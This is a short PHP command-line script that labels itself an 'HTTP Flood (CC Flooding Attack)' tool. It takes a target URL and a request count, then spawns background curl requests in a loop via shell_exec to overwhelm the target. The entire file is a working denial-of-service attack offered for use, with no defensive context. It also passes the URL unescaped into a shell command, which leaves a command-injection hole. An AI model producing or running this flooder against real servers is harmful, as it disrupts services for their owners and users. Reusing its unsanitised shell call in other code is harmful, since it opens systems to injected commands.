#!/usr/bin/php
<?php

function showHelp() {
  echo "Usage: php " . $argv[0] . " <target_url> <num_requests>\n";
  echo "中文: <target_url> 是目标URL， <num_requests> 是要发送的HTTP请求数量。\n";
  exit(0);
}

if (in_array($argv[1], array("-h", "--help"))) {
  showHelp();
}

$targetUrl = $argv[1];
$numRequests = $argv[2];

if (empty($targetUrl) || empty($numRequests)) {
  echo "Usage: php " . $argv[0] . " <target_url> <num_requests>\n";
  exit(1);
}

echo "Starting HTTP Flood attack on $targetUrl...\n";

for ($i = 0; $i < $numRequests; $i++) {
  $cmd = "curl -s -o /dev/null \"$targetUrl\" &";
  shell_exec($cmd);
}

echo "HTTP Flood (CC Flooding Attack) attack completed.\n";

?>